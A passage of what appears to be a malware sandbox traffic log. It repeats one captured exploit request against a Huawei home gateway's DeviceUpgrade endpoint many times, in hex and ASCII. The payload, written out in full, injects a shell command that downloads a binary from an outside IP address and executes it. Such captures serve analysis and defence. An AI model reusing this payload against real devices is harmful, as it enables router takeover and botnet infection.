mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 